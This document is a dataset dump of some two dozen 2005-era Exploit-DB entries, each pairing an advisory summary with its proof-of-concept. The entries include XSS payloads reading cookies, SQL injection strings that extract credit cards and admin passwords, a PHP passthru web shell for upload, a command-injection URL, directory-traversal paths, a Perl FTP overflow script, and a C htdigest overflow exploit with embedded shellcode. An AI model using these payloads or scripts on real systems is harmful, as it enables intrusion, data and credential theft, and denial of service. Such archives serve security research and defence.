QLWD/code_shield huggingface dataset:
标题: CodeThatShoppingCart 1.3.1 - 'catalog.php?id' Cross-Site Scripting EDB-ID: 25637 CVE: 2005-1593 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13560/info

CodeThatShoppingCart is reportedly affected by multiple input validation vulnerabilities. These issues may allow remote attackers to carry out cross-site scripting and SQL injection attacks. An attacker may also potentially disclose sensitive data.

CodeThatShoppingCart 1.3.1 was reported to be vulnerable. Other versions may be affected as well. 

http://www.example.com/codethat/catalog.php?action=category_show
&id=2"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/25637
标题: AOL Instant Messenger 4.x/5.x - Smiley Icon Location Remote Denial of Service EDB-ID: 25633 CVE: 2005-1655 类型: DOS 平台: WINDOWS 发布日期: 2005-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13553/info

AOL Instant Messenger is reported prone to a remote denial of service vulnerability.

The issue manifests when the affected client application handles a chat invitation, a file transfer, or a game request that contains 'smiley' HTML code that passes invalid data as the location of the 'smiley' icon.

Reports indicate that the issue manifests because of a buffer overflow condition this, however, is not confirmed.

A remote attacker may leverage this condition to crash a target AOL Instant Messenger client. Other attacks may also be possible. 

"DO NOT COPY AND PASTE OR IT WILL CRASH U" <fontsml=.>..<font sml= .></font> URL: https://www.exploit-db.com/exploits/25633
标题: CodeThatShoppingCart 1.3.1 - 'catalog.php?id' SQL Injection EDB-ID: 25638 CVE: 2005-1594 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13560/info
 
CodeThatShoppingCart is reportedly affected by multiple input validation vulnerabilities. These issues may allow remote attackers to carry out cross-site scripting and SQL injection attacks. An attacker may also potentially disclose sensitive data.
 
CodeThatShoppingCart 1.3.1 was reported to be vulnerable. Other versions may be affected as well. 

http://www.example.com/shoppingcart/catalog.php?action=category_show
&id=1%20or%20like%20%60a%%60

http://www.example.com/shoppingcart/demo/catalog.php?action=
category_show&id=1%20or%201=1 URL: https://www.exploit-db.com/exploits/25638
标题: Easy Message Board - Remote Command Execution EDB-ID: 25634 CVE: 2005-1550 类型: WEBAPPS 平台: CGI 发布日期: 2005-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13555/info

Easy Message Board is prone to a remote command execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

http://www.example.com/cgi-bin/emsgb/easymsgb.pl?print=|id| URL: https://www.exploit-db.com/exploits/25634
标题: Positive Software H-Sphere Winbox 2.4 - Sensitive Logfile Content Disclosure EDB-ID: 25636 CVE: 2005-1606 类型: LOCAL 平台: WINDOWS 发布日期: 2005-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13559/info

It is reported that Positive Software H-Sphere Winbox stores user account information in a plaintext format inside of application log files.

As a result, user credentials could be exposed to other local users who have permissions to access the log files. 

C:\HSphere.NET\log\action.log
C:\HSphere.NET\log\resources.log URL: https://www.exploit-db.com/exploits/25636
标题: MegaBook 2.0/2.1 - 'Admin.cgi?EntryID' Cross-Site Scripting EDB-ID: 25622 CVE: 2005-1494 类型: WEBAPPS 平台: CGI 发布日期: 2005-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/13522/info

MegaBook is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect MegaBook version 2.0; other versions may also be vulnerable. 

http://www.example.com/admin.cgi?action=modifypost&entryid=">&lt;script&gt;alert('wvs-xss-magic-string-703410097');&lt;/script&gt; URL: https://www.exploit-db.com/exploits/25622
标题: Orenosv HTTP/FTP Server 0.8.1 - 'CGISSI.exe' Remote Buffer Overflow (PoC) EDB-ID: 25631 CVE: 2005-1666 类型: DOS 平台: WINDOWS 发布日期: 2005-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13549/info

Orenosv HTTP/FTP server is prone to a remote buffer overflow vulnerability that affects 'cgissi.exe'.

This issue presents itself when the application handles excessive values supplied through an SSI command name.

A successful attack can result in memory corruption and can be leveraged to cause a denial of service condition or arbitrary code execution. Arbitrary code execution can result in a remote compromise in the context of the server.

Orenosv HTTP/FTP Server 0.8.1 is reportedly vulnerable, however, other versions may be affected as well. 

<!--#aaaaa... -->

Approx. 120 bytes of aaaaaa... URL: https://www.exploit-db.com/exploits/25631
标题: PHP Advanced Transfer Manager 1.21 - Arbitrary File Upload EDB-ID: 25627 CVE: 2005-1604 类型: REMOTE 平台: PHP 发布日期: 2005-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13542/info

PHP Advanced Transfer Manager is prone to a vulnerability regarding the uploading of arbitrary files.

If successfully exploited, an attacker can execute arbitrary script code on a vulnerable server. This can lead to unauthorized access in the context of the affected server.

This issue reportedly affects PHP Advanced Transfer Manager version 1.21; earlier versions may also be vulnerable. 

Create file:
nst.php.ns

<pre>
<?
passthru($_GET['nst']);
?>

Then upload, and go to http://www.example.com/files/nst.php.ns?nst=ls -la

or

<?
passthru($_GET['nst']);
?>

Then upload, and go to http://example.com/files/nst.php.ns?nst=http://your/file.txt URL: https://www.exploit-db.com/exploits/25627
标题: Orenosv HTTP/FTP Server 0.8.1 - FTP Commands Remote Buffer Overflow EDB-ID: 25629 CVE: 2005-1666 类型: DOS 平台: WINDOWS 发布日期: 2008-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/13546/info

The FTP server shipped with Orenosv HTTP/FTP is prone to a remote buffer-overflow vulnerability.

This issue presents itself when the application handles excessive values supplied as filenames through various FTP commands.

A successful attack may corrupt memory, cause a denial of service, or execute arbitrary code.

Orenosv HTTP/FTP Server 0.8.1 is reportedly vulnerable; other versions may be affected as well. 

#!/usr/bin/perl
use IO::Socket;

$target = shift || useage ();
$port = shift || useage ();
$user = shift || useage ();
$pass = shift || useage ();

print"[*] Connecting to $target on port $port\n";
my $sock = IO::Socket::INET -> new
(
Proto => 'tcp',
PeerAddr => $target,
PeerPort => $port
)or die ("Cannot Connect, Have you already DoSed It?\n");
print"[*] Connected, Logging In...\n";
sleep 3;
$sock -> send ("USER $user\r\n");
sleep 3;
$sock -> send ("PASS $pass\r\n");
while ($data = <$sock>)
{
  if ($data =~ /230/)
  {
    print"[*] Logged In\n";
    last;
  }
}
print"[*] Creating 512-byte Buffer\n";
$buffer = 'A' x 512;
print"[*] Sending Exploit\n";
$sock -> send ("MKD $buffer\r\n");
print"[*] Exploit Sent\n";
exit;

sub useage ()
{
  print "Useage: $0 <Host> <Port> <Username> <Password>\n";
  exit;
}
#Coded By Samsta http://theshelljunkies.clawz.com URL: https://www.exploit-db.com/exploits/25629
标题: Advanced Guestbook 2.3.1/2.4 - 'index.php?Entry' SQL Injection EDB-ID: 25630 CVE: 2005-1548 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13548/info

Advanced Guestbook is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue reportedly affects Advanced Guestbook version 2.3.1; other versions may also be vulnerable. 

http://www.example.com/guestbook/index.php?entry='
http://www.example.com/guestbook/index.php?entry=%27 URL: https://www.exploit-db.com/exploits/25630
标题: software602 602 lan suite 2004 - Directory Traversal EDB-ID: 25621 CVE: 2005-1423 类型: REMOTE 平台: WINDOWS 发布日期: 2005-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/13519/info

602 LAN Suite 2004 is reported prone to a directory traversal vulnerability.

It is reported that an attacker can exploit this issue to detect the presence of files on a computer and potentially cause a denial of service condition.

A successful attack may aid in further attacks against the system or lead to a crash due to resource exhaustion. 

http://www.example.com/mail?A=/../../../../../../../[file] URL: https://www.exploit-db.com/exploits/25621
标题: CJ Ultra Plus 1.0.3/1.0.4 - 'OUT.php' SQL Injection EDB-ID: 25623 CVE: 2005-1506 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13533/info

CJ Ultra Plus is prone to an SQL injection vulnerability.

This issue affects the 'out.php' script and could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. 

/out.php?url=sad&perm=33333333333333333333333333332'%20UNION%20SELECT%20b12,b12%20FROM%20settings%20INTO%20OUTFILE%20'/path/to/ur/dir/x.txt/* URL: https://www.exploit-db.com/exploits/25623
标题: Apache 1.3.x - HTDigest Realm Command Line Argument Buffer Overflow (1) EDB-ID: 25624 CVE: 2005-1344 类型: REMOTE 平台: UNIX 发布日期: 2005-05-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/13537/info

A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers.

By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values.

This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process. 

#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>

/********************************************************************************/

#define IP "127.1.1.1"
#define PORT 1337

unsigned int addys[] = { 0xbffffadd, // debian 3.1
                        };
// which address to use
#define ADDY 0

/*******************************************************************************/


// Point Of EIP - The ammount of data we must write to completely overflow eip
#define POE 395

// netric callback shellcode
char cb[] =
        "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

#define IP_OFFSET       33
#define PORT_OFFSET     39

void changeip(char *ip);
void changeport(char *code, int port, int offset);

int main (void) {
        char buff[416];
        int a;

        changeip(IP);
        changeport(cb, PORT, PORT_OFFSET);

        for (a = 0; a < 200; a++)
                *(buff+a) = 0x90;

        for (int b = 0; *(cb+b); a++, b++)
                *(buff+a) = *(cb+b);

        for (; a + 4 <= POE; a += 4)
                memcpy(buff+a, (addys+ADDY), 4);

        *(buff+a) = 0;

        fwrite(buff, strlen(buff), 1, stdout);
        return(0);
}

// ripped from some of snooq's code
void changeip(char *ip) {
       char *ptr;
       ptr=cb+IP_OFFSET;
       /* Assume Little-Endianess.... */
       *((long *)ptr)=inet_addr(ip);
}

// ripped from some of snooq's code
void changeport(char *code, int port, int offset) {
        char *ptr;
        ptr=code+offset;
        /* Assume Little-Endianess.... */
        *ptr++=(char)((port>>8)&0xff);
        *ptr++=(char)(port&0xff);
} URL: https://www.exploit-db.com/exploits/25624
标题: phpBB 2.0.x - 'BBCode.php' URL Tag EDB-ID: 25628 CVE: 2005-1193 类型: WEBAPPS 平台: JSP 发布日期: 2005-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13545/info

The phpbb vendor reports that a critical vulnerability exists in the BBCode handling routines of the 'bbcode.php' script.

The bbcode [url] tag is not properly sanitized of user-supplied input. This could permit the injection of arbitrary HTML or script code into the browser of an unsuspecting user in the context of the affected site. 

[url=javascript://%0ASh=alert(%22CouCou%22);window.close();]Alert box with "CouCou"[/url]

[url=javascript://%0ASh=new%20ActiveXObject(%22WScript.shell%22);Sh.regwrite(%22HKCU%5C%5CQQQQQ%5C%5Cqq%22,%22CouCou%22)
;window.close();]Create registry entry: HKCU\QQQQQ\qq = "CouCou"[/url]

[url=javascript://%0Awindow.opener.document.body.innerHTML=window.opener.document.body.innerHTML.replace(%27Hi%20Paul%27
,%27Hi%20P.A.U.L%27);window.close();]Modify opener page: Paul -> P.A.U.L[/url] URL: https://www.exploit-db.com/exploits/25628
标题: MidiCart PHP - 'Search_List.php?SearchString' SQL Injection EDB-ID: 25614 CVE: 2005-1503 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/13512/info

MidiCart PHP is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/shop/search_list.php?chose=item&searchstring=a%' UNION SELECT null, null, CreditCard, ExpDate, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment URL: https://www.exploit-db.com/exploits/25614
标题: FishCart 3.1 - 'upstnt.php?cartid' SQL Injection EDB-ID: 25604 CVE: 2005-1487 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/13499/info
   
FishCart is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input.
   
A successful exploit of the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
   
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo31/upstnt.php?zid=1&lid=1&cartid='SQL_INJECTION URL: https://www.exploit-db.com/exploits/25604
标题: FishCart 3.1 - 'upstracking.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25602 CVE: 2005-1486 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/13499/info
 
FishCart is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input.
 
A successful exploit of the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo31/upstracking.php?trackingnum='"><script>alert(document.cookie)</script>&reqagree=checked&m=
http://www.example.com/demo31/upstracking.php?trackingnum=&reqagree='"><script>alert(document.cookie)</script>&m=
http://www.example.com/demo31/upstracking.php?trackingnum=&reqagree=checked&m='"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/25602
标题: FishCart 3.1 - 'display.php?nlst' Cross-Site Scripting EDB-ID: 25601 CVE: 2005-1486 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/13499/info

FishCart is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input.

A successful exploit of the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo31/display.php?cartid=200505024231092&zid=1&lid=1&nlst='"><script>alert(document.cookie)</script>&olimit=0&cat=&key1=&psku= URL: https://www.exploit-db.com/exploits/25601
标题: FishCart 3.1 - 'display.php?psku' SQL Injection EDB-ID: 25603 CVE: 2005-1487 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/13499/info
  
FishCart is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input.
  
A successful exploit of the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo31/display.php?cartid=200505024231092&zid=1&lid=1&nlst=y&olimit=0&cat=&key1=&psku='SQL_INJECTION URL: https://www.exploit-db.com/exploits/25603
标题: MyBloggie 2.1 - 'index.php' Cross-Site Scripting EDB-ID: 25612 CVE: 2005-1498 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/13507/info

myBloggie is affected by multiple vulnerabilities.

An attacker may leverage these issues to carry out cross-site scripting, HTML injection and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks. The integrity of a site may be compromised by deleting arbitrary comments as well. 

Cross-site scripting:
http://www.example.com/mybloggie/index.php?month_no=3&year=%3Cscript%3Ealert
(document.cookies)%3C/script%3E

HTML injection:
http://www.example.com/mybloggie/index.php?mode=viewcat&cat_id=%3C%73%63%72%
69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2
9%3C%2F%73%63%72%69%70%74%3EC

http://www.example.com/mybloggie/index.php?mode=viewmonth&month_no=%3C%73%63
%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%
65%29%3C%2F%73%63%72%69%70%74%3E

http://www.example.com/mybloggie/index.php?mode=viewid&post_id=%3C%73%63%72%
69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2
9%3C%2F%73%63%72%69%70%74%3E URL: https://www.exploit-db.com/exploits/25612
标题: WebCrossing WebX 5.0 - Cross-Site Scripting EDB-ID: 25592 CVE: 2005-1611 类型: WEBAPPS 平台: CGI 发布日期: 2005-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/13482/info

WebCrossing is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/webx?@[code] URL: https://www.exploit-db.com/exploits/25592
标题: Apple Mac OSX 10.x - BlueTooth Directory Traversal EDB-ID: 25598 CVE: 2005-1333 类型: REMOTE 平台: OSX 发布日期: 2005-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/13491/info

Apple Mac OS X is prone to a directory-traversal vulnerability. Since the software fails to sufficiently sanitize input, a remote attacker could use the Bluetooth file- and object-exchange services to access files outside the default file-exchange directory.

This issue was initially reported in BID 13480 (Apple Mac OS X Multiple Vulnerabilities). Due to the availability of more information, this issue is being assigned a new BID. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25598-1.tar.gz

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25598-2.tar.gz URL: https://www.exploit-db.com/exploits/25598
标题: Maxwebportal 1.3 - 'links_popular.asp' SQL Injection EDB-ID: 25586 CVE: 2005-1417 类型: WEBAPPS 平台: ASP 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13466/info
 
MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

Links_Popular.asp?10
LINK_ID,Hit,DESCRIPTION,NAME,POST_DATE,banner_url,1,1,1,1,1,1,1 FROM LINKS
union select m_username,m_password,1,1,1,1,1,1,1,1,1,1,1 from PORTAL_MEMBERS
where
m_username='admin' union select URL: https://www.exploit-db.com/exploits/25586
标题: simplecam 1.2 - Directory Traversal EDB-ID: 25600 CVE: 2005-1493 类型: REMOTE 平台: WINDOWS 发布日期: 2005-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/13495/info

SimpleCam is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root. 

http://example.com/..\..\..\..\..\..\..\..\..\..\..\..\windows\system.ini URL: https://www.exploit-db.com/exploits/25600
标题: Maxwebportal 1.3 - 'dl_toprated.asp' SQL Injection EDB-ID: 25588 CVE: 2005-1417 类型: WEBAPPS 平台: ASP 发布日期: 2005-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/13466/info
   
MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

dl_toprated.asp?10 RATING,Votes,DESCRIPTION,NAME,POST_DATE,1,1,1,1,1,1,1
FROM DL union select
m_username,m_password,1,1,1,1,1,1,1,1,1,1 from PORTAL_MEMBERS where
m_username='admin' union
select URL: https://www.exploit-db.com/exploits/25588
标题: Gossamer Threads Links 2.x - 'User.cgi' Cross-Site Scripting EDB-ID: 25594 CVE: 2005-1492 类型: WEBAPPS 平台: CGI 发布日期: 2005-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/13484/info

Gossamer Threads Links is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Links versions 2.x, and 2.2.x, as well as Links-SQL version 3.0 are all reported vulnerable to this issue. 

http://www.example.com/user.cgi?url="><script>alert("XSS Vulnerability")</script><"&from=rate
http://www.example.com/user.cgi?url="><iframe%20src="http://www.example2.com/linksql.html"%20scrolling="No"%20align="MIDDLE"%20width="100%"%20height
+="3000"%20frameborder="No"></iframe><!--&from=rate URL: https://www.exploit-db.com/exploits/25594